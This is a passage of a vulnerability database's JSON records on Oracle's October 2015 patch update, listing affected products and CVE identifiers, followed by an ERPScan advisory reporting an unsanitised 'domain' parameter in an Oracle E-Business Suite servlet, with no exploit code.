["SECURITYVULNS:VULN:14755"]}, {"type": "oracle", "idList": ["ORACLE:CPUOCT2015-2367953", "ORACLE:CPUOCT2015"]}], "modified": "2018-08-31T11:11:02", "rev": 2}}, "objectVersion": "1.5", "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}}, {"id": "SECURITYVULNS:VULN:14755", "bulletinFamily": "software", "title": "Oracle / Sun / PeopleSoft / MySQL multiple security vulnerabilities", "description": "Quarterly update closes 140 vulnerabilities in different applications.", "published": "2015-11-02T00:00:00", "modified": "2015-11-02T00:00:00", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:14755", "reporter": "ORACLE", "references": ["https://vulners.com/securityvulns/securityvulns:doc:32657", "https://vulners.com/securityvulns/securityvulns:doc:32654", "https://vulners.com/securityvulns/securityvulns:doc:32655", "https://vulners.com/securityvulns/securityvulns:doc:32656", "https://vulners.com/securityvulns/securityvulns:doc:32658", "https://vulners.com/securityvulns/securityvulns:doc:32659", "https://vulners.com/securityvulns/securityvulns:doc:32653"], "cvelist": ["CVE-2015-4894", "CVE-2015-4000", "CVE-2015-4851", "CVE-2015-4895", "CVE-2015-4905", "CVE-2015-4866", "CVE-2015-4832", "CVE-2015-4822", "CVE-2015-4830", "CVE-2015-4804", "CVE-2015-4816", "CVE-2015-0235", "CVE-2015-1793", "CVE-2015-4793", "CVE-2015-4863", "CVE-2015-4913", "CVE-2015-4892", "CVE-2014-0191", "CVE-2015-4796", "CVE-2015-4864", "CVE-2015-4794", "CVE-2015-4887", "CVE-2015-2642", "CVE-2015-4860", "CVE-2015-4868", "CVE-1999-0377", "CVE-2015-4820", "CVE-2015-4903", "CVE-2015-0286", "CVE-2015-4906", "CVE-2015-4843", "CVE-2015-4842", "CVE-2015-4910", "CVE-2015-4872", "CVE-2015-4846", "CVE-2014-3576", "CVE-2015-4876", "CVE-2014-3571", "CVE-2015-4883", "CVE-2014-7940", "CVE-2015-4858", "CVE-2015-4802", "CVE-2015-4882", "CVE-2015-4801", "CVE-2015-4878", "CVE-2015-4799", "CVE-2015-4811", "CVE-2015-4834", "CVE-2015-4762", "CVE-2015-4815", "CVE-2015-4812", "CVE-2015-4839", "CVE-2015-4798", "CVE-2015-4891", "CVE-2015-4734", "CVE-2015-4899", "CVE-2015-4865", "CVE-2015-4915", "CVE-2015-4871", "CVE-2015-4800", "CVE-2015-4869", "CVE-2015-4828", "CVE-2015-4803", "CVE-2015-4875", "CVE-2015-4902", "CVE-2015-4917", "CVE-2015-4909", "CVE-2015-4791", "CVE-2015-4805", "CVE-2015-4849", "CVE-2015-4879", "CVE-2015-4888", "CVE-2015-4838", "CVE-2015-4850", "CVE-2015-4806", "CVE-2015-4825", "CVE-2015-3144", "CVE-2015-4797", "CVE-2015-4792", "CVE-2015-4837", "CVE-2015-4904", "CVE-2015-4810", "CVE-2015-4827", "CVE-2014-0050", "CVE-2015-4817", "CVE-2015-4908", "CVE-2015-4912", "CVE-2015-4833", "CVE-2015-4847", "CVE-2015-4855", "CVE-2015-4848", "CVE-2015-4730", "CVE-2015-4819", "CVE-2015-4896", "CVE-2015-2633", "CVE-2015-4807", "CVE-2015-4901", "CVE-2015-4835", "CVE-2015-4873", "CVE-2015-4766", "CVE-2015-4795", "CVE-2015-4907", "CVE-2015-4859", "CVE-2015-1829", "CVE-2015-4898", "CVE-2015-4874", "CVE-2015-4836", "CVE-2015-4824", "CVE-2015-4900", "CVE-2015-4831", "CVE-2015-4861", "CVE-2015-4911", "CVE-2015-4886", "CVE-2015-2608", "CVE-2015-4809", "CVE-2015-4877", "CVE-2015-4844", "CVE-2015-4870", "CVE-2015-4881", "CVE-2015-4840", "CVE-2015-4856", "CVE-2015-4845", "CVE-2015-4914", "CVE-2015-4893", "CVE-2015-4916", "CVE-2015-4826", "CVE-2014-1569", "CVE-2015-4862", "CVE-2010-1622", "CVE-2015-4857", "CVE-2015-4890", "CVE-2015-4867", "CVE-2015-4884", "CVE-2015-4813", "CVE-2015-4841", "CVE-2015-4818", "CVE-2015-4880", "CVE-2015-1791", "CVE-2015-4823", "CVE-2015-4821"], "type": "securityvulns", "lastseen": "2021-06-08T18:55:18", "history": [{"bulletin": {"affectedSoftware": [{"name": "PeopleSoft Enterprise HCM Talent Acquistion Managment", "operator": "eq", "version": "9.2"}, {"name": "Endeca Server", "operator": "eq", "version": "7.6"}, {"name": "Oracle Transportation Management", "operator": "eq", "version": "6.2"}, {"name": "Oracle Traffic Director", "operator": "eq", "version": "11.1"}, {"name": "Java SE", "operator": "eq", "version": "8"}, {"name": "Oracle Communications LSMS", "operator": "eq", "version": "13.1"}, {"name": "Oracle Communications Messaging Server", "operator": "eq", "version": "8.0"}, {"name": "Oracle Enterprise Data Quality", "operator": "eq", "version": "12.1"}, {"name": "PeopleSoft Enterprise FSCM", "operator": "eq", "version": "9.2"}, {"name": "Hyperion Installation Technology", "operator": "eq", "version": "11.1"}, {"name": "Oracle", "operator": "eq", "version": "12.1"}, {"name": "Java SE Embedded", "operator": "eq", "version": "8"}, {"name": "Outside In Technology", "operator": "eq", "version": "8.5"}, {"name": "Exalogic Infrastructure", "operator": "eq", "version": "2.0"}, {"name": "Oracle", "operator": "eq", "version": "11.2"}, {"name": "Oracle Retail Returns Management", "operator": "eq", "version": "14.0"}, {"name": "Oracle E-Business Suite", "operator": "eq", "version": "12.2"}, {"name": "Solaris", "operator": "eq", "version": "11.2"}, {"name": "MySQL Enterprise Monitor", "operator": "eq", "version": "3.0"}, {"name": "PeopleSoft Enterprise PeopleTools", "operator": "eq", "version": "8.54"}, {"name": "Oracle Agile PLM", "operator": "eq", "version": "9.3"}, {"name": "PeopleSoft Enterprise HCM", "operator": "eq", "version": "9.2"}, {"name": "Oracle WebCenter Content", "operator": "eq", "version": "10.1"}, {"name": "Oracle Configurator", "operator": "eq", "version": "12.2"}, {"name": "Oracle Communications Performance Intelligence Center Software", "operator": "eq", "version": "10.1"}, {"name": "Oracle Communications Diameter Signaling Router", "operator": "eq", "version": "7.1"}, {"name": "Oracle Identity Manager", "operator": "eq", "version": "11.1"}, {"name": "Enterprise Manager Base Platform", "operator": "eq", "version": "12.1"}, {"name": "FS1-2 Flash Storage System", "operator": "eq", "version": "6.3"}, {"name": "Integrated Lights Out Manager", "operator": "eq", "version": "3.2"}, {"name": "Oracle Business Intelligence Enterprise Edition", "operator": "eq", "version": "11.1"}, {"name": "OSS Support Tools", "operator": "eq", "version": "8.8"}, {"name": "Oracle Retail Back Office", "operator": "eq", "version": "14.0"}, {"name": "Oracle Agile Engineering Data Management", "operator": "eq", "version": "6.2"}, {"name": "Oracle Communications Tekelec HLR Router", "operator": "eq", "version": "4.0"}, {"name": "VirtualBox", "operator": "eq", "version": "5.0"}, {"name": "MySQL Server", "operator": "eq", "version": "5.6"}, {"name": "PeopleSoft Enterprise FIN Expenses", "operator": "eq", "version": "9.2"}, {"name": "GlassFish Server", "operator": "eq", "version": "3.1"}, {"name": "Oracle Mobile Security Suite", "operator": "eq", "version": "3.0"}, {"name": "Oracle Communications User Data Repository", "operator": "eq", "version": "10.2"}, {"name": "Oracle Communications Convergence", "operator": "eq", "version": "3.0"}, {"name": "Oracle Access Manager", "operator": "eq", "version": "11.1"}, {"name": "JDeveloper", "operator": "eq", "version": "12.1"}, {"name": "Oracle Mobile Server", "operator": "eq", "version": "12.1"}, {"name": "Oracle Utilities Work and Asset Management", "operator": "eq", "version": "1.9"}, {"name": "Oracle Communications Policy Management", "operator": "eq", "version": "12.1"}, {"name": "Oracle WebCenter Sites", "operator": "eq", "version": "11.1"}, {"name": "JavaFX", "operator": "eq", "version": "2.2"}, {"name": "Fusion Middleware", "operator": "eq", "version": "12.1"}, {"name": "Siebel Applications", "operator": "eq", "version": "2015"}, {"name": "Oracle HTTP Server", "operator": "eq", "version": "12.1"}, {"name": "Oracle Retail Central Office", "operator": "eq", "version": "14.0"}, {"name": "Enterprise Manager Ops Center", "operator": "eq", "version": "12.2"}, {"name": "JRockit", "operator": "eq", "version": "28.3"}, {"name": "Oracle Fusion Applications", "operator": "eq", "version": "11.1"}, {"name": "Oracle Retail Open Commerce Platform", "operator": "eq", "version": "3.0"}], "bulletinFamily": "software", "cvelist": ["CVE-2015-4894", "CVE-2015-4000", "CVE-2015-4851", "CVE-2015-4895", "CVE-2015-4905", "CVE-2015-4866", "CVE-2015-4832", "CVE-2015-4822", "CVE-2015-4830", "CVE-2015-4804", "CVE-2015-4816", "CVE-2015-0235", "CVE-2015-1793", "CVE-2015-4793", "CVE-2015-4863", "CVE-2015-4913", "CVE-2015-4892", "CVE-2014-0191", "CVE-2015-4796", "CVE-2015-4864", "CVE-2015-4794", "CVE-2015-4887", "CVE-2015-2642", "CVE-2015-4860", "CVE-2015-4868", "CVE-1999-0377", "CVE-2015-4820", "CVE-2015-4903", "CVE-2015-0286", "CVE-2015-4906", "CVE-2015-4843", "CVE-2015-4842", "CVE-2015-4910", "CVE-2015-4872", "CVE-2015-4846", "CVE-2014-3576", "CVE-2015-4876", "CVE-2014-3571", "CVE-2015-4883", "CVE-2014-7940", "CVE-2015-4858", "CVE-2015-4802", "CVE-2015-4882", "CVE-2015-4801", "CVE-2015-4878", "CVE-2015-4799", "CVE-2015-4811", "CVE-2015-4834", "CVE-2015-4762", "CVE-2015-4815", "CVE-2015-4812", "CVE-2015-4839", "CVE-2015-4798", "CVE-2015-4891", "CVE-2015-4734", "CVE-2015-4899", "CVE-2015-4865", "CVE-2015-4915", "CVE-2015-4871", "CVE-2015-4800", "CVE-2015-4869", "CVE-2015-4828", "CVE-2015-4803", "CVE-2015-4875", "CVE-2015-4902", "CVE-2015-4917", "CVE-2015-4909", "CVE-2015-4791", "CVE-2015-4805", "CVE-2015-4849", "CVE-2015-4879", "CVE-2015-4888", "CVE-2015-4838", "CVE-2015-4850", "CVE-2015-4806", "CVE-2015-4825", "CVE-2015-3144", "CVE-2015-4797", "CVE-2015-4792", "CVE-2015-4837", "CVE-2015-4904", "CVE-2015-4810", "CVE-2015-4827", "CVE-2014-0050", "CVE-2015-4817", "CVE-2015-4908", "CVE-2015-4912", "CVE-2015-4833", "CVE-2015-4847", "CVE-2015-4855", "CVE-2015-4848", "CVE-2015-4730", "CVE-2015-4819", "CVE-2015-4896", "CVE-2015-2633", "CVE-2015-4807", "CVE-2015-4901", "CVE-2015-4835", "CVE-2015-4873", "CVE-2015-4766", "CVE-2015-4795", "CVE-2015-4907", "CVE-2015-4859", "CVE-2015-1829", "CVE-2015-4898", "CVE-2015-4874", "CVE-2015-4836", "CVE-2015-4824", "CVE-2015-4900", "CVE-2015-4831", "CVE-2015-4861", "CVE-2015-4911", "CVE-2015-4886", "CVE-2015-2608", "CVE-2015-4809", "CVE-2015-4877", "CVE-2015-4844", "CVE-2015-4870", "CVE-2015-4881", "CVE-2015-4840", "CVE-2015-4856", "CVE-2015-4845", "CVE-2015-4914", "CVE-2015-4893", "CVE-2015-4916", "CVE-2015-4826", "CVE-2014-1569", "CVE-2015-4862", "CVE-2010-1622", "CVE-2015-4857", "CVE-2015-4890", "CVE-2015-4867", "CVE-2015-4884", "CVE-2015-4813", "CVE-2015-4841", "CVE-2015-4818", "CVE-2015-4880", "CVE-2015-1791", "CVE-2015-4823", "CVE-2015-4821"], "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "description": "Quarterly update closes 140 vulnerabilities in different applications.", "edition": 1, "enchantments": {"dependencies": {"modified": "2018-08-31T11:10:03", "references": [{"idList": ["ORACLE:CPUOCT2015-2367953", "ORACLE:CPUOCT2015"], "type": "oracle"}, {"idList": ["CESA-2015:1921", "CESA-2015:1920"], "type": "centos"}, {"idList": ["KLA10683"], "type": "kaspersky"}, {"idList": ["USN-2781-1"], "type": "ubuntu"}, {"idList": ["A5934BA8-A376-11E5-85E9-14DAE9D210B8"], "type": "freebsd"}, {"idList": ["SMNTC-1341"], "type": "symantec"}, {"idList": ["REDHAT-RHSA-2015-1926.NASL", "FREEBSD_PKG_A5934BA8A37611E585E914DAE9D210B8.NASL", "MYSQL_5_6_27.NASL", "UBUNTU_USN-2781-1.NASL", "OPENSUSE-2015-889.NASL", "SUSE_SU-2016-0121-1.NASL", "ORACLE_JAVA_CPU_OCT_2015_UNIX.NASL", "OPENSUSE-2015-696.NASL", "ORACLE_JAVA_CPU_OCT_2015.NASL", "SUSE_SU-2015-2303-1.NASL"], "type": "nessus"}, {"idList": ["OPENVAS:1361412562310851182", "OPENVAS:1361412562310842503", "OPENVAS:1361412562310108399", "OPENVAS:1361412562310871463", "OPENVAS:1361412562310851124", "OPENVAS:1361412562310882304", "OPENVAS:1361412562310122718", "OPENVAS:1361412562310851141", "OPENVAS:1361412562310851122", "OPENVAS:1361412562310806512"], "type": "openvas"}, {"idList": ["ELSA-2015-1921", "ELSA-2015-1920"], "type": "oraclelinux"}, {"idList": ["ASA-201510-15", "ASA-201510-20", "ASA-201510-16", "ASA-201510-19", "ASA-201510-17", "ASA-201510-18"], "type": "archlinux"}, {"idList": ["SECURITYVULNS:DOC:32659", "SECURITYVULNS:DOC:32654", "SECURITYVULNS:DOC:32655", "SECURITYVULNS:DOC:32653", "SECURITYVULNS:DOC:32658", "SECURITYVULNS:DOC:32656", "SECURITYVULNS:DOC:32657"], "type": "securityvulns"}, {"idList": ["F5:K05200155", "SOL05200155", "SOL59010802", "F5:K59010802", "SOL86326526", "F5:K86326526"], "type": "f5"}, {"idList": ["ALAS-2015-606", "ALAS-2015-605"], "type": "amazon"}, {"idList": ["OPENSUSE-SU-2015:1971-1", "OPENSUSE-SU-2015:1906-1", "SUSE-SU-2015:1875-1", "SUSE-SU-2015:1874-1", "SUSE-SU-2015:1875-2", "OPENSUSE-SU-2015:1905-1", "OPENSUSE-SU-2015:1902-1", "SUSE-SU-2015:1874-2", "OPENSUSE-SU-2015:2243-1"], "type": "suse"}, {"idList": ["RHSA-2015:1920", "RHSA-2015:1921", "RHSA-2015:1919", "RHSA-2015:1927", "RHSA-2015:1928", "RHSA-2015:1926"], "type": "redhat"}], "rev": 2}, "score": {"modified": "2018-08-31T11:10:03", "rev": 2, "value": 5.1, "vector": "NONE"}}, "hash": "f69b18a9be31c6e319e7e9d8c4a6c4d35f39599ac6498ea193bbdd0f6b9f8f36", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "immutableFields"}, {"hash": "6b9d9b867e92a250928e63c45ebde618", "key": "description"}, {"hash": "2bdabeb49c44761f9565717ab0e38165", "key": "cvss"}, {"hash": "f9fa10ba956cacf91d7878861139efb9", "key": "bulletinFamily"}, {"hash": "dc01554e7a2d4394075c0afc3b8c414b", "key": "title"}, {"hash": "c3e3f219b6b8cad735598568fe19ca71", "key": "reporter"}, {"hash": "2e4aea75cf05b4582a372060dfbaa7a2", "key": "cvelist"}, {"hash": "61f12d45d7043b4798e03a9e2d27b1b4", "key": "references"}, {"hash": "d8f38bedae5c73d95ff296ba2bd86a44", "key": "modified"}, {"hash": "5fdd18f972c74fa1824170cbc6a33a23", "key": "affectedSoftware"}, {"hash": "d54751dd75af2ea0147b462b3e001cd0", "key": "type"}, {"hash": "fd65ab4b60ce0bf7bc59889a678f8b5e", "key": "href"}, {"hash": "d8f38bedae5c73d95ff296ba2bd86a44", "key": "published"}], "history": [], "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:14755", "id": "SECURITYVULNS:VULN:14755", "immutableFields": [], "lastseen": "2018-08-31T11:10:03", "modified": "2015-11-02T00:00:00", "objectVersion": "1.5", "published": "2015-11-02T00:00:00", "references": ["https://vulners.com/securityvulns/securityvulns:doc:32657", "https://vulners.com/securityvulns/securityvulns:doc:32654", "https://vulners.com/securityvulns/securityvulns:doc:32655", "https://vulners.com/securityvulns/securityvulns:doc:32656", "https://vulners.com/securityvulns/securityvulns:doc:32658", "https://vulners.com/securityvulns/securityvulns:doc:32659", "https://vulners.com/securityvulns/securityvulns:doc:32653"], "reporter": "ORACLE", "title": "Oracle / Sun / PeopleSoft / MySQL multiple security vulnerabilities", "type": "securityvulns", "viewCount": 150}, "different_elements": ["affectedSoftware"], "edition": 1, "lastseen": "2018-08-31T11:10:03"}], "edition": 2, "hashmap": [{"key": "affectedSoftware", "hash": "dd6c81e9ef02d5ef53c81135f5ec81c3"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "2e4aea75cf05b4582a372060dfbaa7a2"}, {"key": "cvss", "hash": "2bdabeb49c44761f9565717ab0e38165"}, {"key": "description", "hash": "6b9d9b867e92a250928e63c45ebde618"}, {"key": "href", "hash": "fd65ab4b60ce0bf7bc59889a678f8b5e"}, {"key": "immutableFields", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "modified", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "published", "hash": "d8f38bedae5c73d95ff296ba2bd86a44"}, {"key": "references", "hash": "61f12d45d7043b4798e03a9e2d27b1b4"}, {"key": "reporter", "hash": "c3e3f219b6b8cad735598568fe19ca71"}, {"key": "title", "hash": "dc01554e7a2d4394075c0afc3b8c414b"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "793e3d2e1f162b76f6c35ffbbc3f8dc50eb50f535a4d86f08d2c782ac0574d64", "viewCount": 165, "enchantments": {"dependencies": {"references": [{"type": "f5", "idList": ["F5:K86326526", "F5:K05200155", "F5:K59010802", "SOL05200155", "SOL86326526", "SOL59010802"]}, {"type": "symantec", "idList": ["SMNTC-1341"]}, {"type": "nessus", "idList": ["700652.PRM", "REDHAT-RHSA-2015-1926.NASL", "ORACLE_JAVA_CPU_OCT_2015.NASL", "9352.PRM", "FREEBSD_PKG_A5934BA8A37611E585E914DAE9D210B8.NASL", "ORACLE_JAVA_CPU_OCT_2015_UNIX.NASL", "OPENSUSE-2015-696.NASL", "SUSE_SU-2015-2303-1.NASL", "UBUNTU_USN-2781-1.NASL", "MYSQL_5_6_27.NASL"]}, {"type": "freebsd", "idList": ["A5934BA8-A376-11E5-85E9-14DAE9D210B8"]}, {"type": "kaspersky", "idList": ["KLA10683"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310806512", "OPENVAS:1361412562310851123", "OPENVAS:1361412562310120595", "OPENVAS:1361412562310882304", "OPENVAS:1361412562310851124", "OPENVAS:1361412562310842503", "OPENVAS:1361412562310108399", "OPENVAS:1361412562310122716", "OPENVAS:1361412562310851141", "OPENVAS:1361412562310122718"]}, {"type": "ubuntu", "idList": ["USN-2784-1", "USN-2781-1"]}, {"type": "oracle", "idList": ["ORACLE:CPUOCT2015-2367953", "ORACLE:CPUOCT2015"]}, {"type": "redhat", "idList": ["RHSA-2015:1920", "RHSA-2015:1927", "RHSA-2015:1926", "RHSA-2015:1919", "RHSA-2015:1928", "RHSA-2015:1921"]}, {"type": "suse", "idList": ["SUSE-SU-2015:1875-1", "SUSE-SU-2015:1875-2", "OPENSUSE-SU-2015:1971-1", "OPENSUSE-SU-2015:1905-1", "OPENSUSE-SU-2015:1906-1", "SUSE-SU-2015:1874-1", "SUSE-SU-2015:1874-2", "OPENSUSE-SU-2015:1902-1", "OPENSUSE-SU-2015:2243-1"]}, {"type": "archlinux", "idList": ["ASA-201510-18", "ASA-201510-15", "ASA-201510-16", "ASA-201510-20", "ASA-201510-19", "ASA-201510-17"]}, {"type": "amazon", "idList": ["ALAS-2015-605", "ALAS-2015-606"]}, {"type": "centos", "idList": ["CESA-2015:1921", "CESA-2015:1920"]}, {"type": "oraclelinux", "idList": ["ELSA-2015-1919", "ELSA-2015-1921", "ELSA-2015-1920"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:32656", "SECURITYVULNS:DOC:32659", "SECURITYVULNS:DOC:32653", "SECURITYVULNS:DOC:32658", "SECURITYVULNS:DOC:32657", "SECURITYVULNS:DOC:32655", "SECURITYVULNS:DOC:32654"]}], "modified": "2021-06-08T18:55:18", "rev": 2}, "score": {"value": 5.1, "vector": "NONE", "modified": "2021-06-08T18:55:18", "rev": 2}}, "objectVersion": "1.5", "affectedSoftware": [{"name": "hyperion installation technology", "operator": "eq", "version": "11.1"}, {"name": "oracle e-business suite", "operator": "eq", "version": "12.2"}, {"name": "jdeveloper", "operator": "eq", "version": "12.1"}, {"name": "oracle access manager", "operator": "eq", "version": "11.1"}, {"name": "oracle communications convergence", "operator": "eq", "version": "3.0"}, {"name": "javafx", "operator": "eq", "version": "2.2"}, {"name": "oracle webcenter sites", "operator": "eq", "version": "11.1"}, {"name": "oracle retail returns management", "operator": "eq", "version": "14.0"}, {"name": "oracle communications policy management", "operator": "eq", "version": "12.1"}, {"name": "oracle communications messaging server", "operator": "eq", "version": "8.0"}, {"name": "fs1-2 flash storage system", "operator": "eq", "version": "6.3"}, {"name": "oracle webcenter content", "operator": "eq", "version": "10.1"}, {"name": "oracle communications user data repository", "operator": "eq", "version": "10.2"}, {"name": "oracle communications performance intelligence center software", "operator": "eq", "version": "10.1"}, {"name": "oracle traffic director", "operator": "eq", "version": "11.1"}, {"name": "enterprise manager ops center", "operator": "eq", "version": "12.2"}, {"name": "oracle identity manager", "operator": "eq", "version": "11.1"}, {"name": "oracle retail central office", "operator": "eq", "version": "14.0"}, {"name": "oracle http server", "operator": "eq", "version": "12.1"}, {"name": "java se embedded", "operator": "eq", "version": "8"}, {"name": "fusion middleware", "operator": "eq", "version": "12.1"}, {"name": "peoplesoft enterprise peopletools", "operator": "eq", "version": "8.54"}, {"name": "oracle communications tekelec hlr router", "operator": "eq", "version": "4.0"}, {"name": "oracle retail open commerce platform", "operator": "eq", "version": "3.0"}, {"name": "oracle", "operator": "eq", "version": "12.1"}, {"name": "mysql enterprise monitor", "operator": "eq", "version": "3.0"}, {"name": "oracle mobile security suite", "operator": "eq", "version": "3.0"}, {"name": "glassfish server", "operator": "eq", "version": "3.1"}, {"name": "oracle retail back office", "operator": "eq", "version": "14.0"}, {"name": "siebel applications", "operator": "eq", "version": "2015"}, {"name": "exalogic infrastructure", "operator": "eq", "version": "2.0"}, {"name": "oracle fusion applications", "operator": "eq", "version": "11.1"}, {"name": "peoplesoft enterprise hcm talent acquistion managment", "operator": "eq", "version": "9.2"}, {"name": "oracle configurator", "operator": "eq", "version": "12.2"}, {"name": "mysql server", "operator": "eq", "version": "5.6"}, {"name": "integrated lights out manager", "operator": "eq", "version": "3.2"}, {"name": "oracle communications diameter signaling router", "operator": "eq", "version": "7.1"}, {"name": "oracle business intelligence enterprise edition", "operator": "eq", "version": "11.1"}, {"name": "oracle transportation management", "operator": "eq", "version": "6.2"}, {"name": "oracle utilities work and asset management", "operator": "eq", "version": "1.9"}, {"name": "peoplesoft enterprise fin expenses", "operator": "eq", "version": "9.2"}, {"name": "jrockit", "operator": "eq", "version": "28.3"}, {"name": "oracle mobile server", "operator": "eq", "version": "12.1"}, {"name": "outside in technology", "operator": "eq", "version": "8.5"}, {"name": "virtualbox", "operator": "eq", "version": "5.0"}, {"name": "java se", "operator": "eq", "version": "8"}, {"name": "oracle communications lsms", "operator": "eq", "version": "13.1"}, {"name": "solaris", "operator": "eq", "version": "11.2"}, {"name": "oracle agile engineering data management", "operator": "eq", "version": "6.2"}, {"name": "oracle", "operator": "eq", "version": "11.2"}, {"name": "oracle agile plm", "operator": "eq", "version": "9.3"}, {"name": "oss support tools", "operator": "eq", "version": "8.8"}, {"name": "enterprise manager base platform", "operator": "eq", "version": "12.1"}, {"name": "peoplesoft enterprise hcm", "operator": "eq", "version": "9.2"}, {"name": "peoplesoft enterprise fscm", "operator": "eq", "version": "9.2"}, {"name": "oracle enterprise data quality", "operator": "eq", "version": "12.1"}, {"name": "endeca server", "operator": "eq", "version": "7.6"}], "immutableFields": [], "scheme": null, "cvss2": {}, "cvss3": {}}, {"id": "SECURITYVULNS:DOC:32658", "bulletinFamily": "software", "title": "[ERPSCAN-15-027] Oracle E-Business Suite - Cross Site Scripting Vulnerability", "description": "\r\n\r\n1. ADVISORY INFORMATION\r\n\r\nTitle: Oracle E-Business Suite Cross-site Scripting\r\nAdvisory ID: [ERPSCAN-15-027]\r\nAdvisory URL:http://erpscan.com/advisories/erpscan-15-027-oracle-e-business-suite-cross-site-scripting-vulnerability/\r\nDate published: 20.10.2015\r\nVendors contacted: Oracle\r\n\r\n2. VULNERABILITY INFORMATION\r\n\r\nClass: Cross-site Scripting\r\nImpact: impersonation, information disclosure\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: No\r\nCVE Name: CVE-2015-4854\r\nCVSS Information\r\nCVSS Base Score: 4.3 / 10\r\nAV : Access Vector &#40;Related exploit range&#41; Network &#40;N&#41;\r\nAC : Access Complexity &#40;Required attack complexity&#41; Medium &#40;M&#41;\r\nAu : Authentication &#40;Level of authentication needed to exploit&#41; None &#40;N&#41;\r\nC : Impact to Confidentiality None &#40;N&#41;\r\nI : Impact to Integrity Partial &#40;P&#41;\r\nA : Impact to Availability None &#40;N&#41;\r\n\r\n3. VULNERABILITY DESCRIPTION\r\n\r\nAn anonymous attacker can create a special link that injects malicious JS code\r\n\r\n4. VULNERABLE PACKAGES\r\n\r\nOracle E-Business Suite 12.1.4\r\n\r\nOther versions are probably affected too, but they were not checked.\r\n\r\n5. SOLUTIONS AND WORKAROUNDS\r\n\r\nInstall Oracle CPU October 2015\r\n\r\n6. AUTHOR\r\nNikita Kelesis, Ivan Chalykin, Alexey Tyurin &#40;ERPScan&#41;\r\n\r\n7. TECHNICAL DESCRIPTION\r\n\r\nCfgOCIReturn servlet is vulnerable to Cross-site Scripting &#40;XSS&#41; due\r\nto lack of sanitizing the &quot;domain&quot; parameter.\r\n\r\n8. REPORT TIMELINE\r\n\r\nReported: 17.07.2015\r\nVendor response: 24.07.2015\r\nDate of Public Advisory: 20.10.2015\r\n\r\n9. REFERENCES\r\n\r\nhttp://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html\r\nhttp://erpscan.com/advisories/erpscan-15-027-oracle-e-business-suite-cross-site-scripting-vulnerability/\r\nhttp://erpscan.com/press-center/press-release/erpscan-took-a-closer-look-at-oracle-ebs-security-6-vulnerabilities-patched-in-recent-update/\r\n\r\n10. ABOUT ERPScan Research\r\nThe company\u2019s expertise is based on the research subdivision of\r\nERPScan, which is engaged in vulnerability research and analysis of\r\ncritical enterprise applications. It has achieved multiple\r\nacknowledgments from the largest software vendors like SAP, Oracle,\r\nMicrosoft, IBM, VMware, HP for discovering more than 400\r\nvulnerabilities in their solutions &#40;200 of them just in SAP!&#41;.\r\nERPScan researchers are proud to have exposed new types of\r\nvulnerabilities &#40;TOP 10 Web Hacking Techniques 2012&#41; and to be\r\nnominated for the best server-side vulnerability at BlackHat 2013.\r\nERPScan experts have been invited to speak, present, and train at 60+\r\nprime international security conferences in 25+ countries across the\r\ncontinents. These include BlackHat, RSA, HITB, and private SAP\r\ntrainings in several Fortune 2000 companies.\r\nERPScan researchers lead the project EAS-SEC, which is focused on\r\nenterprise application security research and awareness. They have\r\npublished 3 exhaustive annual award-winning surveys about SAP\r\nsecurity.\r\nERPScan experts have been interviewed by leading media resources and\r\nfeatured in specialized info-sec publications worldwide. These include\r\nReuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,\r\nHeise, and Chinabyte, to name a few.\r\nWe have highly qualified experts in staff with experience in many\r\ndifferent fields of security, from web applications and\r\nmobile/embedded to reverse engineering and ICS/SCADA systems,\r\naccumulating their experience to conduct the best SAP security\r\nresearch.\r\n\r\n\r\n11. ABOUT ERPScan\r\nERPScan is one of the most respected and credible Business Application\r\nSecurity providers. Founded in 2010, the company operates globally.\r\nNamed an Emerging vendor in Security by CRN and distinguished by more\r\nthan 25 other awards, ERPScan is the leading SAP SE partner in\r\ndiscovering and resolving security vulnerabilities. ERPScan\r\nconsultants work with SAP SE in Walldorf to improve the security of\r\ntheir latest solutions.\r\nERPScan\u2019s primary mission is to close the gap between technical and\r\nbusiness security. We provide solutions to secure ERP systems and\r\nbusiness-critical applications from both cyber attacks and internal\r\nfraud. Our clients are usually large enterprises, Fortune 2000\r\ncompanies, and managed service providers whose requirements are to\r\nactively monitor and manage the security of vast SAP landscapes on a\r\nglobal scale.\r\nOur flagship product is ERPScan Security Monitoring Suite for SAP.\r\nThis multi award-winning innovative software is the only solution on\r\nthe market certified by SAP SE covering all tiers of SAP security:\r\nvulnerability assessment, source code review, and Segregation of\r\nDuties.\r\nThe largest companies from diverse industries like oil and gas,\r\nbanking, retail, even nuclear power installations as well as\r\nconsulting companies have successfully deployed the software. ERPScan\r\nSecurity Monitoring Suite for SAP is specifically designed for\r\nenterprises to continuously monitor changes in multiple SAP systems.\r\nIt generates and analyzes trends in user friendly dashboards, manages\r\nrisks, tasks, and can export results to external systems. These\r\nfeatures enable central management of SAP system security with minimal\r\ntime and effort.\r\nWe follow the sun and function in two hubs located in the Netherlands\r\nand the US to operate local offices and partner network spanning 20+\r\ncountries around the globe. This enables monitoring cyber threats in\r\nreal time and providing agile customer support.\r\n\r\nAdress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301\r\nPhone: 650.798.5255\r\nTwitter: @erpscan\r\nScoop-it: Business Application Security\r\n\r\n", "published": "2015-11-02T00:00:00", "modified": "2015-11-02T00:00:00", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32658", "reporter": "Securityvulns", "references": [], "cvelist": 